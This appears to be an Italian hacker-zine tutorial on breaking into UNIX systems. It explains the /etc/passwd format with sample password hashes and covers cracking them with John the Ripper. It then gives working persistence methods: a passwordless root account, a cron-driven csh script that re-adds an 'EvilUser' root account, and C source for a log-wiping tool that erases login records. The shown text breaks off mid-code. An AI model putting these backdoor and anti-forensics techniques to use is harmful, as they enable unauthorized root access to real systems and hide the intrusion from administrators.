Target: ** (*=novizio, **=apprendista, ***=esperto, ****=hackers)

1) Introduzione

UNIX è uno dei sistemi operativi più usati nelle grandi società come le grandi aziende o le 
università. Ormai da anni ha il monopolio assoluto anche se ultimamente fa capolino il 
gioiellino di mamma Micro$oft: Windows NT. Per noi hackers spero si diffonda ben presto nelle
aziende così il nostro lavoro risulterebbe più facile visto gli innumerevoli bug che presenta
(almeno fino alla versione 4). Però, ripensandoci, credo sia meglio che UNIX rimanga sennò la 
sfida dov'è? Ma bando alle ciance iniziamo a vedere come crackare le password di UNIX...
Pronti? Yessssss!!!!


2) Dalla teoria alla pratica

Innanzitutto bisogna sapere che il phile più importante nel sistema UNIX è : /etc/passwd
Questa miniera d'oro contiene tutti gli account degli utenti che hanno accesso al sistema!!!
Ma vediamo come è strutturato....
Esso è un semplice phile testo formato da tante righe che hanno questa forma:

Login:PwdCriptata:UserID:GroupID:RealName:HomeDirectory:Shell

Ma vediamo un esempio pratico; un phile di password può essere così:

root:banq4O/wqTxdA:0:3:,,,:/:/sbin/sh
daemon:*:1:5::/:/sbin/sh
bin:*:2:2::/usr/bin:/sbin/sh
sys:*:3:3::/dev/null:/bin/false
adm:*:4:4::/var/adm:/sbin/sh
comment:*:17:17::/dev/null:/bin/false
hpdb:*:27:1:ALLBASE:/:/sbin/sh
lordk:KJ8.S66pWe3Ag:150:13:Lord KasKo:/student/lk:/usr/bin/ksh

analizziamo ora il suo significato:

Primo campo : Login

 La prima login generalmente è 'root'. Essa rappresenta l'amministratore di systema ed avere
la sua password significa essere i 'Padroni di Casa' e fare ciò che si vuole. 
Altre login generalmente presenti sono 'deamon', 'bin' ecc... ed infine ci sono gli utenti
come Lord KasKo con login lordk.


Secondo campo: PwdCriptata

Ovviamente mettere la password in chiaro(cioè scrivere la pwd così come la si inserisce) non
sarebbe stato troppo da furbi perchè una volta prelevato il phile passwd sarebbere bastato
leggerele ed inserirle per entrare nel sistema. Così quei geniacci che hanno inventato UNIX
hanno avuto la bella idea di criptarle. E hanno fatto, devo dire, un buon lavoro!!
Infatti hanno trovato un algoritmo di crypting denominato One-Way. Ma che vor dì?
Semplicemente ciò che indica la parola : 'a senso unico'. Quindi applicando l'algoritmo ad
una parola se ne ottiene una criptata, ma applicando alla parola criptata lo stesso algoritmo al
contrario non si ottiene la parola in chiaro. Bella invenzione vero? (Per i dettagli
vi rimando all'appendice "Come crackare le pwd di UNIX in una riga di Perl")
Quindi la password criptata di root è : "banq4O/wqTxdA" e la mia è : "KJ8.S66pWe3Ag".
Nelle righe di deamon, bin ecc al posto della password c'è un *. Ciò vuol dire che questo
account non è a disposizione degli utenti, ma è utilizzato dal sistema per servizi interni. 
Quindi vuol dire che non ci si può loggare, per esempio, come "deamon".
Infine potreste trovare a posto delle password il simbolo +. Questo è veramente un casino.
Vuol dire che il phile di password è shadowed e quindi il vero phile con le password
criptate è da qualche altra parte nel sistema, nascosto. Che fare a questo punto?
Andarsene con la coda tra le gambe? Col capo chino? in preda alle umilianti prese in
giro da parte degli altri colleghi hackers? No!!!!!! Finchè c'è vita c'è speranza. 
Aspettate la sezione "I Phile Shadow" per rincuorare
i vostri animi.


Terzo campo : UserID

L'userID è un numero che identifica univocamente l'utente. Ogni utente ha un ID diverso.
Root ha come UID 0.


Quarto campo : GroupID

Il GroupID, invece, è un numero che identifica il gruppo a cui appartiene l'utente.
Ogni gruppo ha permessi diversi ai phile del sistema. Più il numero è basso più
permessi si hanno!
Ovviamente root ha come GID 0.


Quinto campo : RealName

Ovvero il vero nome dell'utente.


Sesto campo : HomeDirectory

Indica il path della Home directory dell'utente


Settimo campo : Shell

Indica la shell usata dall'utente


3) Ho il phile delle password e adesso ???????

Adesso siamo già a buon punto. Avendo il phile delle password, non shadowed, si può
iniziare una
ricerca delle password. In che modo visto che l'algoritmo di crypting è one-way? 
Bhe, utilizzando uno dei tools più famosi per questo tipo di lavoro : John the Ripper v1.4
Questo ottimo software prende da un vocabolario di parole probabili una possibile password
e la cripta utilizzando l'algoritmo DES (il famoso one-way) e confronta il risultato con
tutte le password presenti nel phile. Se fa un hit vi comunica la password e quali login
la utilizzano.
Spesso capita che il vocabolario di parole probabili fallisce e allora che fare? John
utilizza una particolare ricerca di tipo incremental. Pratcamente genera tutte le parole
possibili utilizzando i comuni simboli del vocabolario(lettere maiuscole e minuscole,
numeri e simboli)e le confronta con quelle del nostro phile. Voi penserete che con i
computer moderni questo è un gioco da ragazzi.
Vi assicuro che per provarle tutte con un Pentium II ci mettereste qualche centinaio d'anni.
Però John grazie a delle statistiche sulle più comuni password utilizzate, fatte dai creatori del
programma stesso, prova prima le parole più probabili e lascia per ultimo quelle meno
probabili.
(Es. è più facile che alla lettera 'p' segua una 'r' o una 'a' piuttosto che una 'q').
Questo dovrebbe diminuire di molto i tempi di attesa.
Inoltre John prevede una ricerca veloce utilizzando le informazioni GECOS (il nome e cognome 
dell'utente) perchè è risaputo che moltissimi utenti usano come password qualche derivato del 
proprio nome o cognome.(es. Il sig. Bruno Rossi usa come password 'BRossi' o 'Bruno1')
Una volta che avete trovato qualche password non vi resta che entrare e dare una occhiata
al sistema ricordandovi di NON DANNEGGIARE alcun phile e NON RECARE DANNO AD ALCUNO. 
Ne va della vostra fama di hacker. Se poi avete trovato la password di root allora siete
proprio fortunati.
Potete creare delle back door per mantenere l'accesso al sistema per sempre (o quasi).


4) Come creare delle back-door

Di backdoor se ne possono creare veramente molte ed il limite è imposto solo dalla fantasia.
Qui suggerisco le più facili da creare :


La backdoor classica 

una volta che si ha l'accesso di root basta entrare nel phile delle 
password ed inserire un nuovo account con permessi di root es:

lk::0:0:Lord KasKo:/sbin/sh <-- E' SOLO UN ESEMPIO

in questo modo basta loggarsi come lk e automaticamente, senza inserire la password,
si ha un account di root!!!


Backdoor nei phile di login:

Una volta recuperato i sorgenti dei phile di login basta modificarli in modo da 'agevolare' 
una vostra successiva entrata e sosituire il vero login con il vostro. 
Come modificare il phile lo lascio come compito a casa...


Backdoor con il CRON

Il CRON è un demone di UNIX che esegue dei programmi in momenti precisi (giorni, ore ecc.)
Nel phile /var/spool/crontabs/root sono presenti i cronjobs di root che ovviamente hanno i 
permessi di root. Quindi basta inserire nei jobs l'esecuzione di uno script che, per esempio, 
ogni giorno controlla se nel phile di password è presente l'account con permessi di root che 
abbiamo inserito precedentemente per assicurarci un futuro accesso.(Non si sa mai che 
l'amministratore se ne accorga e lo cancelli!! Oppure ci possono essere anche dei demoni
che si occupano di cancellare shell di root nel phile di password).
Il crontab è un phile testo formato dai seguenti campi:

1	2	3	4	5	6
min	ore	gg	mm	gs	comando

min: minuto in cui deve partire il programma (0-59)
ore: ore "         "              "              "     (0-23)
gg: giorno         "           "                "      (1-31)
mm: mese         "            "                "       (1-12)
gs: giorno della settimana in cui deve partire il prg (1-6)
comando: il comando da eseguire

Per tornare alla nostra backdoor basta inserire nel  /var/spool/crontabs/root la riga:
0	0	*	*	*	/usr/bin/backdoor

dove 'backdoor' è uno script del tipo:

#!/bin/csh
# C'e' il nostro account nel passwd?

set evilflag = (`grep eviluser /etc/passwd`)    


if($#evilflag == 0) then                        
        
        set linecount = `wc -l /etc/passwd`
        cd                                      
        cp /etc/passwd ./temppass              
        @ linecount[1] /= 2
        @ linecount[1] += 1                     
        split -$linecount[1] ./temppass        
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                  
        rm ./xa* ./temppass
        echo Done...
else
endif   

(Script tratto da SystemDown numero 3)

Questo script controlla se l'account EvilUser è presente nel phile di password
altrimenti lo aggiunge.	

Una volta creata una di queste backdoors è FONDAMENTALE eliminare le proprie tracce,
altrimenti si può essere beccati. Per fare ciò ci sono dei programmini che fanno
questo per voi, quindi basta compilarli e lanciarli:
Questo è uno dei migiori:

/*
 *      C L O A K
 *
 *      Wrap yourself in a cloak of darkness (heh heh heh).
 *
 *      Michael S. Baldwin,  Matthew Diaz  1982
 *
 *      Marcus J. Ranum - 1983 - complete re-write and munging
 *      added more options, and all kinds of evil - including the
 *      ability to vanish from wtmp and acct as well as utmp. Added more
 *      error checking and useful command syntax. Now you can attribute
 *      all *YOUR* CPU usage to others when playing hack !!!
 *
 */
 
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
/* set these guys. If you're sysV a port should be easy */
#define UTMP    "/etc/utmp"
#define WTMP    "/usr/adm/wtmp"
#define LAST    "/usr/adm/lastlog"
#define ACCT    "/usr/adm/acct"
 
 
main(ac,av)
int     ac;
char    *av[];
{
        char    *tp     = "";
        char    *un     = "";
        char    *hn     = "";
        char    *pn     = "";
        long    newt    = 0L;
        int     wflg    = 0;
        int     aflg    = 0;
        int     refs    = 1;
        int     x;              /* klunch */
        char    *p;
        extern  char    *index();
        extern  time_t  time();
 
        for(x = 1; x < ac; x++) {
                if(av[x][0] == '-')
                        switch(av[x][1]) {
			case 'u':       /* username to be :-) */
                                        if((x + 1) < ac)
                                                un = av[++x];
                                        break;
 
				      case 't':       /* tty slot to be on :-) */
                                        if((x + 1) < ac)
                                                tp = av[++x];
                                        break;
 
				      case 'h':       /* host name to be on :-) */
                                        if((x + 1) < ac)
                                                hn = av[++x];
                                        break;
 
				      case 'r':       /* # of refs to zap :-) */
                                        if((x + 1) < ac)
                                                refs = atoi(av[++x]);
                                        break;
 
				      case 's':
                                        execl("/bin/sh","sh",0);
                                        perror("exec");
                                        exit(1);
 
				      case 'w':       /* vanish from wtmp, too */
                                        wflg++;
                                        break;
 
				      case 'a':       /* vanish from acct, too */
                                        aflg++;
                                        break;
 
				      case 'p':       /* specific program for acct */
                                        if((x + 1) < ac)
                                                pn = av[++x];
                                        break;
 
				      case 'l':       /* log on time */
                                        if((x + 1) >= ac)
                                                break;
                                        newt = atoi(p = av[++x]);
                                        if(p = index(p,':'))  {
                                                newt *= 60;
                                                newt += ((newt > 0) ? 1 : -1) *
atoi(++p);
					      }
                                        newt *= 60;
                                        newt += time((long *)0L);
                                        break;
 
				      default:
                                        exit(usage());
				      }
 
	      }
 
        if(wflg && wtmpzap(tp,un,hn,newt,refs))
                perror(av[0]);
 
        if(aflg && acctzap(un,pn))
                perror(av[0]);
 
        if(utmpzap(tp,un,hn,newt)) {
                perror(av[0]);
                exit(1);
	      }
 
        if(lastzap(tp,un,hn,newt)) {
                perror(av[0]);
                exit(1);
	      }
 
        exit(0);
      }
 
utmpzap(tt,un,hn,tim)
char    *tt;
char    *un;
char    *hn;
long    tim;
{
        int     fd;
        int     slot;
        struct  utmp    ubuf;
        extern  time_t  time();
        extern  char    *strncpy();
        extern  long    lseek();
 
        if((slot = ttyslot()) == 0) {
                (void)fprintf(stderr,"No tty slot");
                return(-1);
	      }
 
        if((fd = open(UTMP,O_RDWR)) == -1 )
                return(-1);
 
        if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
                (void)close(fd);
                return(-1);
	      }
 
        if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                (void)close(fd);
                return(-1);
	      }
 
        if(tim)
                ubuf.ut_time = tim;
        else
                ubuf.ut_time = time((long *)0L);
 
        (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
 
        if(!tt[0] == '